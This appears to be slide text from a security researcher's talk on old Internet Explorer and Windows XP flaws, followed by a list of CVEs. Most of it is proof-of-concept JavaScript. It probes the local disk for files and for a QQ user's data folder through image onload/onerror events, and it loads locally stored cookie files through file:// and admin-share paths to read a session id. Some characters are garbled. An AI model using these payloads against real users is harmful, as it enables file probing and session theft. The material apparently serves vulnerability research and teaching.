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Researcher @NSFOCUS Security Labs
Focus on: APT/0-day attacks detection

SCADA/ICS security research
Vulnerability research

Exploit technology

Some other geek things

@tombkeeper on twitter
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function probeImage( url )

=

var img = new Image();
img.onerror = function(){
alert( url + "exists");
};
img.onload = function(){
alert( url + "does not exist");

}

img.src = url;
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& F 41 + onerror/onload:

function probeImage( url )

{
var img = new Image();
img.onerror = function(){};
img.onload = function(){alert(‘hello pony');}
img.src = url;
}

var qqid = "100e01";
var qqdatapath = "\\\\127.0.0.1\\C$" +
"\\Program Files\\Tencent\\QQ2009\\Users\\";

probeImage(qqdatapath + qqid + "\\Image\\160");

IE + Windows XPBXI
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<Script Language="JavaScript"
src="file:///C:/Documents and
Settings/Administrator/Cookies/administ
rator@www.somehost[2].txt"></Script>
<Script Language="3JavaScript">
alert(sessionid);

</Script>
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IE + Windows XPH%X{:

<Script Language="JavaScript"
src="\\\\127.0.0.1\\C$\\Documents and
Settings\\Administrator\\Cookies\\admin
istrator@www.somehost[2].txt"></Script>
<Script Language="3JavaScript">
alert(sessionid);

</Script>
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var x = "abcd";
x = "abcd"
X = 123456
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— CVE-2002-0189
— CVE-2002-1187
— CVE-2002-1688
— CVE-2003-1328 (MS03-004)
— CVE-2005-0054 (MS05-014)
— CVE-2006-3643 (MS06-044)
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